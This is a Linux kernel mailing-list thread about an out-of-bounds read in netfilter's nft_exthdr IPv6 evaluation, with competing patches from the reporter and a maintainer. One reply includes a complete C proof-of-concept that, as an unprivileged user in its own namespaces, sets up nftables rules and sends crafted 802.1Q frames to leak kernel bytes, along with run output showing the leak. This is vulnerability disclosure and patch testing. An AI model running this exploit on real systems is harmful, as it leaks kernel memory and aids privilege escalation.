Skip to contentSkip to conversation

netfilter: nft_exthdr: pull the IPv6 header before ipv6_find_hdr()

PATCH In review Xiang Mei 2 participants 6 messages Nov 26 – Nov 29

Subsystems (4)
lore
Share & tools
lore

Xiang Mei

author
#0 lore raw

PATCH 1/1 netfilter: nft_exthdr: pull the IPv6 header before ipv6_find_hdr()

nft_exthdr_ipv6_eval() checks only skb->protocol before calling ipv6_find_hdr(), whose prologue reads ipv6_hdr(skb)->nexthdr from the linear area without a pull. The expression is usable from every family, and the netdev ingress hook does not normalise the skb: an 18-byte 802.1Q frame with an ETH_P_IPV6 inner type has no IPv6 header, so the read lands past skb_tail_pointer(), and an AF_PACKET frame larger than a page leaves the header in frags, so it lands past skb_headlen(). With NFT_EXTHDR_F_PRESENT, it decides the result, and 256 "exthdr ipv6 type=T exists counter" rules hand it to an unprivileged user running in its own user and network namespace.

Raising the device headroom puts the skb head in kmalloc-1k. With freed struct net_bridge_port objects sprayed under it, a uid 1000 run on current mainline read back kernel-written data, byte 2 of WORK_STRUCT_NO_POOL in query_queue_work.data, and bits 16..23 of the query_queue.prev self-pointer, i.e. of direct-map heap addresses:

read offset 570 = byte 2 of the 8-byte slot at 568
freed net_bridge_port (32 probes):
byte 0xe0 (224): 15/32
read offset 554 = byte 2 of the 8-byte slot at 552

    freed net_bridge_port (32 probes):
      byte 0x15 ( 21): 2/32
      byte 0x21 ( 33): 2/32
      byte 0x59 ( 89): 1/32
      byte 0xb2 (178): 2/32
      byte 0xc3 (195): 1/32
      byte 0xd8 (216): 2/32
      ...

Pull the header before the call, as act_ct, virtio_net_hdr_to_skb() and nft_set_pktinfo_ipv6_ingress() already do. For the ipv6 and inet families ipv6_rcv() has already pulled it, so this is a length check.

Fixes 96518518cc41 ("netfilter: add nftables")
Reported-by [email protected]
---
 net/netfilter/nft_exthdr.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)
net/netfilter/nft_exthdr.c +2 -1
index 861bab93f435..a7c2f7553af8 100644
@@ -52,7 +52,8 @@ static void nft_exthdr_ipv6_eval(const struct nft_expr *expr,
 	unsigned int offset = 0;
 	int err;
 
-	if (pkt->skb->protocol != htons(ETH_P_IPV6))
+	if (pkt->skb->protocol != htons(ETH_P_IPV6) ||
+	    !pskb_network_may_pull(pkt->skb, sizeof(struct ipv6hdr)))
 		goto err;
 
 	err = ipv6_find_hdr(pkt->skb, &offset, priv->type, NULL, NULL);
Signature · 1 line
2.43.0
#1 lore raw
Quoted 5 lines · Xiang Mei

nft_exthdr_ipv6_eval() checks only skb->protocol before calling ipv6_find_hdr(), whose prologue reads ipv6_hdr(skb)->nexthdr from the linear area without a pull. The expression is usable from every family, and the netdev ingress hook does not normalise the skb: an 18-byte 802.1Q frame with an ETH_P_IPV6 inner type has no IPv6 header,

Are you referring to a skbuff with vlan offload or with the vlan tag in the payload?

netdev calls pskb_may_pull() to ensure the IPv6 header is linear.

Then, this only works with the skb->protocol check on IPv6.

I find these text generated by LLM of very low quality for a human to understand.

Quoted 56 lines

so the read lands past skb_tail_pointer(), and an AF_PACKET frame larger than a page leaves the header in frags, so it lands past skb_headlen().

With NFT_EXTHDR_F_PRESENT, it decides the result, and 256 "exthdr ipv6 type=T exists counter" rules hand it to an unprivileged user running in its own user and network namespace.

Raising the device headroom puts the skb head in kmalloc-1k. With freed struct net_bridge_port objects sprayed under it, a uid 1000 run on current mainline read back kernel-written data, byte 2 of WORK_STRUCT_NO_POOL in query_queue_work.data, and bits 16..23 of the query_queue.prev self-pointer, i.e. of direct-map heap addresses:

read offset 570 = byte 2 of the 8-byte slot at 568
freed net_bridge_port (32 probes):
byte 0xe0 (224): 15/32
read offset 554 = byte 2 of the 8-byte slot at 552

    freed net_bridge_port (32 probes):
      byte 0x15 ( 21): 2/32
      byte 0x21 ( 33): 2/32
      byte 0x59 ( 89): 1/32
      byte 0xb2 (178): 2/32
      byte 0xc3 (195): 1/32
      byte 0xd8 (216): 2/32
      ...

Pull the header before the call, as act_ct, virtio_net_hdr_to_skb() and nft_set_pktinfo_ipv6_ingress() already do. For the ipv6 and inet families ipv6_rcv() has already pulled it, so this is a length check.

Fixes 96518518cc41 ("netfilter: add nftables")
Reported-by [email protected]
---
 net/netfilter/nft_exthdr.c | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)
net/netfilter/nft_exthdr.c +2 -1
index 861bab93f435..a7c2f7553af8 100644
@@ -52,7 +52,8 @@ static void nft_exthdr_ipv6_eval(const struct nft_expr *expr,
 	unsigned int offset = 0;
 	int err;
 
-	if (pkt->skb->protocol != htons(ETH_P_IPV6))
+	if (pkt->skb->protocol != htons(ETH_P_IPV6) ||
+	    !pskb_network_may_pull(pkt->skb, sizeof(struct ipv6hdr)))
 		goto err;
 
 	err = ipv6_find_hdr(pkt->skb, &offset, priv->type, NULL, NULL);
Signature · 1 line
2.43.0
#2 lore raw
Quoted 1 line · Pablo Neira Ayuso

On Wed, Nov 25, 2026 at 05:11:51PM -0700, Xiang Mei wrote:

[...]

Quoted 2 lines
Quoted 2 lines

Pull the header before the call, as act_ct, virtio_net_hdr_to_skb() and nft_set_pktinfo_ipv6_ingress() already do.

I prefer this patch (see attachment).

Please, don't take, I will submit it myself including your
Reported-by: tag.

Thanks.

include/net/netfilter/nf_tables_ipv4.h +3 -4
index e715405a73cb..5df31948c42d 100644
@@ -21,14 +21,13 @@ static inline void nft_set_pktinfo_ipv4(struct nft_pktinfo *pkt)
 static inline int __nft_set_pktinfo_ipv4_validate(struct nft_pktinfo *pkt,
 						  int nhoff)
 {
-	struct iphdr *iph, _iph;
 	u32 len, thoff, skb_len;
+	struct iphdr *iph;
 
-	iph = skb_header_pointer(pkt->skb, skb_network_offset(pkt->skb) + nhoff,
-				 sizeof(*iph), &_iph);
-	if (!iph)
+	if (!pskb_may_pull(pkt->skb, sizeof(*iph)))
 		return -1;
 
+	iph = ip_hdr(pkt->skb);
 	if (iph->ihl < 5 || iph->version != 4)
 		return -1;
 
include/net/netfilter/nf_tables_ipv6.h +3 -4
index d7b8c559b795..06c0a57d54f0 100644
@@ -30,17 +30,16 @@ static inline int __nft_set_pktinfo_ipv6_validate(struct nft_pktinfo *pkt, int n
 {
 #if IS_ENABLED(CONFIG_IPV6)
 	unsigned int flags = IP6_FH_F_AUTH;
-	struct ipv6hdr *ip6h, _ip6h;
 	unsigned int thoff = nhoff;
 	unsigned short frag_off;
+	struct ipv6hdr *ip6h;
 	u32 pkt_len, skb_len;
 	int protohdr;
 
-	ip6h = skb_header_pointer(pkt->skb, skb_network_offset(pkt->skb) + nhoff,
-				  sizeof(*ip6h), &_ip6h);
-	if (!ip6h)
+	if (!pskb_may_pull(pkt->skb, sizeof(*ip6h)))
 		return -1;
 
+	ip6h = ipv6_hdr(pkt->skb);
 	if (ip6h->version != 6)
 		return -1;
 
author
#3 lore raw
Quoted 7 lines · Pablo Neira Ayuso
Quoted 1 line · Pablo Neira Ayuso

On Wed, Nov 25, 2026 at 05:11:51PM -0700, Xiang Mei wrote:

[...]

Quoted 2 lines
Quoted 2 lines

Pull the header before the call, as act_ct, virtio_net_hdr_to_skb() and nft_set_pktinfo_ipv6_ingress() already do.

Quoted 6 lines

I prefer this patch (see attachment).

Please, don't take, I will submit it myself including your
Reported-by: tag.

Thanks.

Sorry, I replied only to Pablo earlier. A resend of my test:

Thanks for the patch. I have just tested it agaist the PoC (attached to this mail) but it still leaks.

The 18-byte 802.1Q frame still makes ipv6_find_hdr() read past the tail, same as the unpatched kernel. The pull in validate fails, we fall back to nft_set_pktinfo_unspec(), and nft_do_chain_netdev() still runs the chain, so exthdr gets called with only the skb->protocol check.

I think exthdr still needs its own check, or the netdev/bridge chains should not evaluate rules against an skb that failed validation. Your change still looks useful on top of that for the frags case.

One more thing: nft_meta.c calls __nft_set_pktinfo_ipv6_validate() with a non-zero nhoff for VLAN/PPPoE, but the new code pulls and reads the header at offset 0, so it checks the outer header there.

Thanks,
Xiang

The PoC:

```c
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <grp.h>
#include <sys/prctl.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>

#define NFNL_SUBSYS_NFTABLES    10
#define NFNL_MSG_BATCH_BEGIN    16
#define NFNL_MSG_BATCH_END      17
#define NFT_MSG_NEWTABLE        0
#define NFT_MSG_NEWCHAIN        3
#define NFT_MSG_NEWRULE         6
#define NFT_MSG_GETRULE         7
#define NFTA_TABLE_NAME         1
#define NFTA_CHAIN_TABLE        1
#define NFTA_CHAIN_NAME         3
#define NFTA_CHAIN_HOOK         4
#define NFTA_CHAIN_TYPE         7
#define NFTA_HOOK_HOOKNUM       1
#define NFTA_HOOK_PRIORITY      2
#define NFTA_HOOK_DEV           3
#define NFTA_RULE_TABLE         1
#define NFTA_RULE_CHAIN         2
#define NFTA_RULE_EXPRESSIONS   4
#define NFTA_RULE_USERDATA      7
#define NFTA_LIST_ELEM          1
#define NFTA_EXPR_NAME          1
#define NFTA_EXPR_DATA          2
#define NFTA_EXTHDR_DREG        1
#define NFTA_EXTHDR_TYPE        2
#define NFTA_EXTHDR_OFFSET      3
#define NFTA_EXTHDR_LEN         4
#define NFTA_EXTHDR_FLAGS       5
#define NFT_EXTHDR_F_PRESENT    1
#define NFTA_CMP_SREG           1
#define NFTA_CMP_OP             2
#define NFTA_CMP_DATA           3
#define NFTA_DATA_VALUE         1
#define NFTA_COUNTER_PACKETS    2
#define NFPROTO_NETDEV          5
#define NFT_REG_1               1
#ifndef NETLINK_NETFILTER
#define NETLINK_NETFILTER       12
#endif

#define ROUNDS          64

struct nfgen { uint8_t family, version; uint16_t res_id; };

static int nl, pfd, ifi;
static uint32_t seq = 1;
static uint64_t cnt[256];

static void die(const char *m) { fprintf(stderr, "[-] %s: %s\n", m,
strerror(errno)); exit(1); }

static char *put(char *p, int type, const void *d, int len)
{
        struct nlattr *a = (struct nlattr *)p;

        a->nla_type = type;
        a->nla_len = NLA_HDRLEN + len;
        memcpy(p + NLA_HDRLEN, d, len);
        memset(p + NLA_HDRLEN + len, 0, NLA_ALIGN(len) - len);
        return p + NLA_ALIGN(a->nla_len);
}
static char *put_str(char *p, int t, const char *s) { return put(p, t,
s, strlen(s) + 1); }
static char *put_be32(char *p, int t, uint32_t v) { v = htonl(v);
return put(p, t, &v, 4); }
static char *nest(char **p, int type)
{
        struct nlattr *a = (struct nlattr *)*p;

        a->nla_type = type | NLA_F_NESTED;
        *p += NLA_HDRLEN;
        return (char *)a;
}
static void nest_end(char *a, char *p) { ((struct nlattr *)a)->nla_len
= p - a; }

/* ---------------------------------------------------------------- setup */

static void write_file(const char *path, const char *s)
{
        int fd = open(path, O_WRONLY);

        if (fd < 0 || write(fd, s, strlen(s)) < 0)
                die(path);
        close(fd);
}

static void enter_ns(void)
{
        char map[32];
        uid_t uid = getuid();
        gid_t gid = getgid();

        if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0)
                die("unshare");
        write_file("/proc/self/setgroups", "deny");
        snprintf(map, sizeof(map), "0 %d 1", uid);
        write_file("/proc/self/uid_map", map);
        snprintf(map, sizeof(map), "0 %d 1", gid);
        write_file("/proc/self/gid_map", map);
}

static void rtnl_veth(void)
{
        char buf[512] = {}, *p, *li, *id, *peer;
        struct nlmsghdr *h = (struct nlmsghdr *)buf;
        int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);

        h->nlmsg_type = RTM_NEWLINK;
        h->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL;
        p = (char *)NLMSG_DATA(h) + NLMSG_ALIGN(sizeof(struct ifinfomsg));
        p = put_str(p, IFLA_IFNAME, "vp0");
        li = nest(&p, IFLA_LINKINFO);
        p = put(p, IFLA_INFO_KIND, "veth", 4);
        id = nest(&p, IFLA_INFO_DATA);
        peer = nest(&p, 1 /* VETH_INFO_PEER */);
        p += sizeof(struct ifinfomsg);
        p = put_str(p, IFLA_IFNAME, "vp1");
        nest_end(peer, p);
        nest_end(id, p);
        nest_end(li, p);
        h->nlmsg_len = p - buf;
        if (fd < 0 || send(fd, buf, h->nlmsg_len, 0) < 0)
                die("RTM_NEWLINK");
        close(fd);
}

static void link_up(const char *name)
{
        struct ifreq ifr = {};
        int fd = socket(AF_INET, SOCK_DGRAM, 0);

        strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
        if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
                die("SIOCGIFFLAGS");
        ifr.ifr_flags |= IFF_UP;
        if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
                die("SIOCSIFFLAGS");
        close(fd);
}

/* ------------------------------------------------------------- nftables */

static char *msg(char *cur, int type, int flags)
{
        struct nlmsghdr *h = (struct nlmsghdr *)cur;
        struct nfgen *g = (struct nfgen *)NLMSG_DATA(h);

        memset(h, 0, NLMSG_HDRLEN + sizeof(*g));
        h->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | type;
        h->nlmsg_flags = NLM_F_REQUEST | flags;
        h->nlmsg_seq = ++seq;
        g->family = NFPROTO_NETDEV;
        return cur + NLMSG_HDRLEN + sizeof(*g);
}
static char *msg_end(char *cur, char *p) { ((struct nlmsghdr
*)cur)->nlmsg_len = p - cur; return p; }
static char *batch(char *cur, int type)
{
        struct nlmsghdr *h = (struct nlmsghdr *)cur;
        struct nfgen *g = (struct nfgen *)NLMSG_DATA(h);

        memset(h, 0, NLMSG_HDRLEN + sizeof(*g));
        h->nlmsg_type = type;
        h->nlmsg_flags = NLM_F_REQUEST;
        h->nlmsg_seq = ++seq;
        h->nlmsg_len = NLMSG_HDRLEN + sizeof(*g);
        g->res_id = htons(NFNL_SUBSYS_NFTABLES);
        return cur + h->nlmsg_len;
}

static void nft_commit(char *buf, char *end)
{
        char rb[8192];
        int n;

        if (send(nl, buf, end - buf, 0) < 0)
                die("nft send");
        while ((n = recv(nl, rb, sizeof(rb), MSG_DONTWAIT)) > 0) {
                struct nlmsghdr *r = (struct nlmsghdr *)rb;

                for (; NLMSG_OK(r, n); r = NLMSG_NEXT(r, n)) {
                        struct nlmsgerr *e = (struct nlmsgerr *)NLMSG_DATA(r);

                        if (r->nlmsg_type == NLMSG_ERROR && e->error) {
                                errno = -e->error;
                                die("nft batch");
                        }
                }
        }
}

static char *rule(char *cur, int t)
{
        uint8_t ud = t, one = 1;
        char *p, *ex, *e, *d, *v;

        p = msg(cur, NFT_MSG_NEWRULE, NLM_F_CREATE | NLM_F_APPEND | NLM_F_ACK);
        p = put_str(p, NFTA_RULE_TABLE, "t");
        p = put_str(p, NFTA_RULE_CHAIN, "c");
        p = put(p, NFTA_RULE_USERDATA, &ud, 1);
        ex = nest(&p, NFTA_RULE_EXPRESSIONS);

        e = nest(&p, NFTA_LIST_ELEM);                   /* exthdr ipv6
type t exists */
        p = put_str(p, NFTA_EXPR_NAME, "exthdr");
        d = nest(&p, NFTA_EXPR_DATA);
        p = put_be32(p, NFTA_EXTHDR_DREG, NFT_REG_1);
        p = put(p, NFTA_EXTHDR_TYPE, &ud, 1);
        p = put_be32(p, NFTA_EXTHDR_OFFSET, 0);
        p = put_be32(p, NFTA_EXTHDR_LEN, 1);
        p = put_be32(p, NFTA_EXTHDR_FLAGS, NFT_EXTHDR_F_PRESENT);
        nest_end(d, p);
        nest_end(e, p);

        e = nest(&p, NFTA_LIST_ELEM);                   /* cmp reg1 == 1 */
        p = put_str(p, NFTA_EXPR_NAME, "cmp");
        d = nest(&p, NFTA_EXPR_DATA);
        p = put_be32(p, NFTA_CMP_SREG, NFT_REG_1);
        p = put_be32(p, NFTA_CMP_OP, 0 /* NFT_CMP_EQ */);
        v = nest(&p, NFTA_CMP_DATA);
        p = put(p, NFTA_DATA_VALUE, &one, 1);
        nest_end(v, p);
        nest_end(d, p);
        nest_end(e, p);

        e = nest(&p, NFTA_LIST_ELEM);                   /* counter */
        p = put_str(p, NFTA_EXPR_NAME, "counter");
        nest_end(e, p);

        nest_end(ex, p);
        return msg_end(cur, p);
}

static void nft_setup(void)
{
        static char buf[65536];
        char *cur, *p, *hk;
        int t = 0, i;

        nl = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
        if (nl < 0)
                die("NETLINK_NETFILTER");

        cur = batch(buf, NFNL_MSG_BATCH_BEGIN);
        p = msg(cur, NFT_MSG_NEWTABLE, NLM_F_CREATE | NLM_F_ACK);
        p = put_str(p, NFTA_TABLE_NAME, "t");
        cur = msg_end(cur, p);
        p = msg(cur, NFT_MSG_NEWCHAIN, NLM_F_CREATE | NLM_F_ACK);
        p = put_str(p, NFTA_CHAIN_TABLE, "t");
        p = put_str(p, NFTA_CHAIN_NAME, "c");
        p = put_str(p, NFTA_CHAIN_TYPE, "filter");
        hk = nest(&p, NFTA_CHAIN_HOOK);
        p = put_be32(p, NFTA_HOOK_HOOKNUM, 0 /* NF_NETDEV_INGRESS */);
        p = put_be32(p, NFTA_HOOK_PRIORITY, 0);
        p = put_str(p, NFTA_HOOK_DEV, "vp1");
        nest_end(hk, p);
        cur = msg_end(cur, p);
        cur = batch(cur, NFNL_MSG_BATCH_END);
        nft_commit(buf, cur);

        while (t < 256) {
                cur = batch(buf, NFNL_MSG_BATCH_BEGIN);
                for (i = 0; i < 32 && t < 256; i++)
                        cur = rule(cur, t++);
                cur = batch(cur, NFNL_MSG_BATCH_END);
                nft_commit(buf, cur);
        }
}

/* nf_tables dumps nests without NLA_F_NESTED, so walk the levels by hand */
#define for_each_nla(x, a, len, rem)
         \
        for (x = (struct nlattr *)(a), rem = (len);
         \
            rem >= NLA_HDRLEN && x->nla_len >= NLA_HDRLEN &&
x->nla_len <= rem; \
            rem -= NLA_ALIGN(x->nla_len),
         \
            x = (struct nlattr *)((char *)x + NLA_ALIGN(x->nla_len)))
#define NLA_DATA(x)     ((char *)(x) + NLA_HDRLEN)
#define NLA_LEN(x)      ((x)->nla_len - NLA_HDRLEN)

/* rule -> userdata (T) and expressions/elem/data/COUNTER_PACKETS */
static void parse_rule(char *a, int len)
{
        struct nlattr *r, *el, *ex, *c;
        int r1, r2, r3, r4, t = -1;
        uint64_t pk = 0;

        for_each_nla(r, a, len, r1) {
                if (r->nla_type == NFTA_RULE_USERDATA)
                        t = (uint8_t)NLA_DATA(r)[0];
                if (r->nla_type != NFTA_RULE_EXPRESSIONS)
                        continue;
                for_each_nla(el, NLA_DATA(r), NLA_LEN(r), r2) {
                        bool counter = false;

                        for_each_nla(ex, NLA_DATA(el), NLA_LEN(el), r3) {
                                if (ex->nla_type == NFTA_EXPR_NAME)
                                        counter =
!strcmp(NLA_DATA(ex), "counter");
                                else if (ex->nla_type ==
NFTA_EXPR_DATA && counter)
                                        for_each_nla(c, NLA_DATA(ex),
NLA_LEN(ex), r4)
                                                if (c->nla_type ==
NFTA_COUNTER_PACKETS)
                                                        pk =
be64toh(*(uint64_t *)NLA_DATA(c));
                        }
                }
        }
        if (t >= 0)
                cnt[t] = pk;
}

static void read_counters(void)
{
        static char rb[1 << 18];
        char buf[256], *p = msg(buf, NFT_MSG_GETRULE, NLM_F_DUMP);
        int n;

        p = put_str(p, NFTA_RULE_TABLE, "t");
        msg_end(buf, p);
        if (send(nl, buf, ((struct nlmsghdr *)buf)->nlmsg_len, 0) < 0)
                die("GETRULE");
        while ((n = recv(nl, rb, sizeof(rb), 0)) > 0) {
                struct nlmsghdr *r = (struct nlmsghdr *)rb;

                for (; NLMSG_OK(r, n); r = NLMSG_NEXT(r, n)) {
                        char *a = (char *)NLMSG_DATA(r) + sizeof(struct nfgen);

                        if (r->nlmsg_type == NLMSG_DONE ||
r->nlmsg_type == NLMSG_ERROR)
                                return;
                        parse_rule(a, (char *)r + r->nlmsg_len - a);
                }
        }
}

/* --------------------------------------------------------------- probes */

static void tx(const unsigned char *f, int len, uint16_t proto)
{
        struct sockaddr_ll sll = {};

        sll.sll_family = AF_PACKET;
        sll.sll_ifindex = ifi;
        sll.sll_protocol = htons(proto);
        sll.sll_halen = ETH_ALEN;
        if (sendto(pfd, f, len, 0, (struct sockaddr *)&sll, sizeof(sll)) < 0)
                die("sendto");
}

int main(void)
{
        unsigned char probe[18] = {
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x02, 0x02, 0x02,
0x02, 0x02, 0x02,
                0x81, 0x00,             /* ETH_P_8021Q */
                0x00, 0x64,             /* vid 100 */
                0x86, 0xdd,             /* inner: ETH_P_IPV6, then nothing */
        };
        uint64_t before[256];
        cpu_set_t cs;
        int r, t, hit = 0;

        setvbuf(stdout, NULL, _IONBF, 0);
        CPU_ZERO(&cs);
        CPU_SET(0, &cs);
        sched_setaffinity(0, sizeof(cs), &cs);

        if (getuid() == 0) {                    /* drop to an
unprivileged user */
                setgroups(0, NULL);
                if (setresgid(1000, 1000, 1000) || setresuid(1000, 1000, 1000))
                        die("drop privileges");
                prctl(PR_SET_DUMPABLE, 1);      /* lets us write our
own uid_map */
        }
        printf("[*] uid=%d\n", getuid());
        enter_ns();
        /* keep IPv6 autoconf traffic off the veths */
        write_file("/proc/sys/net/ipv6/conf/all/disable_ipv6", "1");
        write_file("/proc/sys/net/ipv6/conf/default/disable_ipv6", "1");
        rtnl_veth();
        link_up("vp0");
        link_up("vp1");
        nft_setup();

        pfd = socket(AF_PACKET, SOCK_RAW, 0);
        ifi = if_nametoindex("vp0");
        if (pfd < 0 || !ifi)
                die("AF_PACKET");


        printf("[*] sending %d 18-byte 802.1Q probes with no IPv6
header\n", ROUNDS);
        read_counters();
        memcpy(before, cnt, sizeof(before));
        for (r = 0; r < ROUNDS; r++) {
                tx(probe, sizeof(probe), ETH_P_8021Q);
                usleep(20000);
        }
        read_counters();
        for (t = 0; t < 256; t++) {
                if (cnt[t] == before[t])
                        continue;
                printf("    rule 0x%02x fired %llu/%d: kernel read
byte 0x%02x past skb tail\n",
                      t, (unsigned long long)(cnt[t] - before[t]), ROUNDS, t);
                hit += cnt[t] - before[t];
        }
        printf("[%c] %d/%d probes leaked a byte from past the end of
the packet\n",
              hit ? '+' : '-', hit, ROUNDS);
        return !hit;
}
```

My run output of your attached patch:

```log
[*] sending 64 18-byte 802.1Q probes with no IPv6 header
    rule 0x01 fired 25/64: kernel read byte 0x01 past skb tail
    rule 0x02 fired 2/64: kernel read byte 0x02 past skb tail
    rule 0x03 fired 1/64: kernel read byte 0x03 past skb tail
    rule 0x74 fired 1/64: kernel read byte 0x74 past skb tail
...
```

I also confirmed the same result after inserting some debug to the kernel.

```log
[    4.041624] DBG_OOB head=ffff888021df96c0 nh=20 tail=20 end=384
byte=0x00 ptr16_23(head+544)=0xdf
[    4.061809] DBG_OOB head=ffff888021df9a00 nh=20 tail=20 end=384
byte=0x00 ptr16_23(head+544)=0xdf
[    4.081970] DBG_OOB head=ffff888021df63c0 nh=20 tail=20 end=384
byte=0x00 ptr16_23(head+544)=0xdf
[    4.102192] DBG_OOB head=ffff888021df6080 nh=20 tail=20 end=384
byte=0x00 ptr16_23(head+544)=0xdf
[    4.122357] DBG_OOB head=ffff888021de5a00 nh=20 tail=20 end=384
byte=0x01 ptr16_23(head+544)=0xde
...
```
#4 lore raw
Quoted 17 lines · Xiang Mei
Quoted 7 lines · Pablo Neira Ayuso
Quoted 1 line · Pablo Neira Ayuso

On Wed, Nov 25, 2026 at 05:11:51PM -0700, Xiang Mei wrote:

[...]

Quoted 2 lines
Quoted 2 lines

Pull the header before the call, as act_ct, virtio_net_hdr_to_skb() and nft_set_pktinfo_ipv6_ingress() already do.

Quoted 6 lines

I prefer this patch (see attachment).

Please, don't take, I will submit it myself including your
Reported-by: tag.

Thanks.

Sorry, I replied only to Pablo earlier. A resend of my test:

Quoted 8 lines

Thanks for the patch. I have just tested it agaist the PoC (attached to this mail) but it still leaks.

The 18-byte 802.1Q frame still makes ipv6_find_hdr() read past the tail, same as the unpatched kernel. The pull in validate fails, we fall back to nft_set_pktinfo_unspec(), and nft_do_chain_netdev() still runs the chain, so exthdr gets called with only the skb->protocol check.

I think nft_pktinfo provides enough information to skip this skbuff in nft_exthdr, there is pkt->ethertype which can be used for this purpose, which should be zero in this case.

net/netfilter/nft_exthdr.c +2 -2
index 861bab93f435..448b9ecde1f0 100644
@@ -52,7 +52,7 @@ static void nft_exthdr_ipv6_eval(const struct nft_expr *expr,
        unsigned int offset = 0;
        int err;
 
-       if (pkt->skb->protocol != htons(ETH_P_IPV6))
+       if (pkt->ethertype != htons(ETH_P_IPV6))
                goto err;
 
        err = ipv6_find_hdr(pkt->skb, &offset, priv->type, NULL, NULL);
@@ -146,7 +146,7 @@ static void nft_exthdr_ipv4_eval(const struct nft_expr *expr,
        unsigned int offset;
        int err;
 
-       if (skb->protocol != htons(ETH_P_IP))
+       if (pkt->ethertype != htons(ETH_P_IP))
                goto err;
 
        err = ipv4_find_option(nft_net(pkt), skb, &offset, priv->type);
Quoted 3 lines

I think exthdr still needs its own check, or the netdev/bridge chains should not evaluate rules against an skb that failed validation. Your change still looks useful on top of that for the frags case.

I don't think so, if there is a chance to skip re-evaluation, the better.

Quoted 475 lines

One more thing: nft_meta.c calls __nft_set_pktinfo_ipv6_validate() with a non-zero nhoff for VLAN/PPPoE, but the new code pulls and reads the header at offset 0, so it checks the outer header there.

Thanks,
Xiang

The PoC:

```c
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <grp.h>
#include <sys/prctl.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>

#define NFNL_SUBSYS_NFTABLES    10
#define NFNL_MSG_BATCH_BEGIN    16
#define NFNL_MSG_BATCH_END      17
#define NFT_MSG_NEWTABLE        0
#define NFT_MSG_NEWCHAIN        3
#define NFT_MSG_NEWRULE         6
#define NFT_MSG_GETRULE         7
#define NFTA_TABLE_NAME         1
#define NFTA_CHAIN_TABLE        1
#define NFTA_CHAIN_NAME         3
#define NFTA_CHAIN_HOOK         4
#define NFTA_CHAIN_TYPE         7
#define NFTA_HOOK_HOOKNUM       1
#define NFTA_HOOK_PRIORITY      2
#define NFTA_HOOK_DEV           3
#define NFTA_RULE_TABLE         1
#define NFTA_RULE_CHAIN         2
#define NFTA_RULE_EXPRESSIONS   4
#define NFTA_RULE_USERDATA      7
#define NFTA_LIST_ELEM          1
#define NFTA_EXPR_NAME          1
#define NFTA_EXPR_DATA          2
#define NFTA_EXTHDR_DREG        1
#define NFTA_EXTHDR_TYPE        2
#define NFTA_EXTHDR_OFFSET      3
#define NFTA_EXTHDR_LEN         4
#define NFTA_EXTHDR_FLAGS       5
#define NFT_EXTHDR_F_PRESENT    1
#define NFTA_CMP_SREG           1
#define NFTA_CMP_OP             2
#define NFTA_CMP_DATA           3
#define NFTA_DATA_VALUE         1
#define NFTA_COUNTER_PACKETS    2
#define NFPROTO_NETDEV          5
#define NFT_REG_1               1
#ifndef NETLINK_NETFILTER
#define NETLINK_NETFILTER       12
#endif

#define ROUNDS          64

struct nfgen { uint8_t family, version; uint16_t res_id; };

static int nl, pfd, ifi;
static uint32_t seq = 1;
static uint64_t cnt[256];

static void die(const char *m) { fprintf(stderr, "[-] %s: %s\n", m,
strerror(errno)); exit(1); }

static char *put(char *p, int type, const void *d, int len)
{
        struct nlattr *a = (struct nlattr *)p;

        a->nla_type = type;
        a->nla_len = NLA_HDRLEN + len;
        memcpy(p + NLA_HDRLEN, d, len);
        memset(p + NLA_HDRLEN + len, 0, NLA_ALIGN(len) - len);
        return p + NLA_ALIGN(a->nla_len);
}
static char *put_str(char *p, int t, const char *s) { return put(p, t,
s, strlen(s) + 1); }
static char *put_be32(char *p, int t, uint32_t v) { v = htonl(v);
return put(p, t, &v, 4); }
static char *nest(char **p, int type)
{
        struct nlattr *a = (struct nlattr *)*p;

        a->nla_type = type | NLA_F_NESTED;
        *p += NLA_HDRLEN;
        return (char *)a;
}
static void nest_end(char *a, char *p) { ((struct nlattr *)a)->nla_len
= p - a; }

/* ---------------------------------------------------------------- setup */

static void write_file(const char *path, const char *s)
{
        int fd = open(path, O_WRONLY);

        if (fd < 0 || write(fd, s, strlen(s)) < 0)
                die(path);
        close(fd);
}

static void enter_ns(void)
{
        char map[32];
        uid_t uid = getuid();
        gid_t gid = getgid();

        if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0)
                die("unshare");
        write_file("/proc/self/setgroups", "deny");
        snprintf(map, sizeof(map), "0 %d 1", uid);
        write_file("/proc/self/uid_map", map);
        snprintf(map, sizeof(map), "0 %d 1", gid);
        write_file("/proc/self/gid_map", map);
}

static void rtnl_veth(void)
{
        char buf[512] = {}, *p, *li, *id, *peer;
        struct nlmsghdr *h = (struct nlmsghdr *)buf;
        int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);

        h->nlmsg_type = RTM_NEWLINK;
        h->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL;
        p = (char *)NLMSG_DATA(h) + NLMSG_ALIGN(sizeof(struct ifinfomsg));
        p = put_str(p, IFLA_IFNAME, "vp0");
        li = nest(&p, IFLA_LINKINFO);
        p = put(p, IFLA_INFO_KIND, "veth", 4);
        id = nest(&p, IFLA_INFO_DATA);
        peer = nest(&p, 1 /* VETH_INFO_PEER */);
